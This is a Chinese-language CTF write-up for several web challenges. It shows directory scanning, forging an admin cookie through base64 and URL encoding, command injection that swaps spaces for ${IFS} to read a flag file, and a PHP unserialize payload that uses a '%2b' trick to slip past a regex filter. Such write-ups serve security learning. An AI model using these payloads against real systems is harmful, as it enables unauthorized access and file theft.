签到题
没啥好说的,什么牛不能跑?蜗牛
ezweb2
题目:
http://101.71.29.5:10000/index.php
解题思路:
拿到题目后,扫了一波:
python3 dirsearch.py -u http://101.71.29.5:10000 -e php
发现:admin.php
进入查看,显示无法进入
查看页面信息,发现user登录信息,在存储值可更改。
将其先进行Url Decode,dXNlcg==
,然后,Base64 Decode,user
。
然后,考虑到admin登入,于是将admin先进行Base64 Eecode,YWRtaW4=
,在进行Url Encode,YWRtaW4%3D
,将其填入存储值中。
然后刷新页面,进入
随便在其中输入,例如:a,抓包截取反应
猜想命令输入,尝试:
ls
得到相应目录
进而尝试:
ls / //查询根目录
发现,错误,考虑空格过滤
于是尝试:
ls${IFS}/ //利用${IFS}代替空格
得到根目录下的文件目录
发现:
fFlag_404.php
于是尝试抓取该文件:
cat${IFS}/fFlag_404
得到flag:
eazyweb
题目
解题思路
进行代码审计
首先对于class baby,定义了一个类
再看下面,首先是绕过正则表达式:preg_match('/[oc]:\d+:/i',$data,$matches)
其中,[oc]
代表$data
中以o或c开头,:
表示含有:,\d
表示有数字,/i
表示不区分大小写,$data
为待匹配字符串,$matches
为存储匹配上的字符串
而要满足if(count($matches))
的话,则需要$data
中没有可以匹配的字符串
再往下,看到$good = unserialize($data)
,序列化与反序列化函数,其特点是,一定会有o作为开头,故一定会有匹配
解决办法是,在:
与数字之间加入+
,且对+
进行url编码:%2b
那么,首先将类:class baby
实体化,进行序列化:
<?php
@error_reporting(1);
include 'flag.php';
class baby
{
public $file;
function __toString()
{
if(isset($this->file))
{
$filename = "./{$this->file}";
if (file_get_contents($filename))
{
return file_get_contents($filename);
}
}
}
}
$a=new baby();
$a->file='flag.php';
echo serialize($a);
?>
得到:
O:4:"baby":1:{s:4:"file";s:8:"flag.php";}
然后,进行文件读取:
?data=O:%2b4:%22baby%22:1:{s:4:%22file%22;s:8:%22flag.php%22;}
得到flag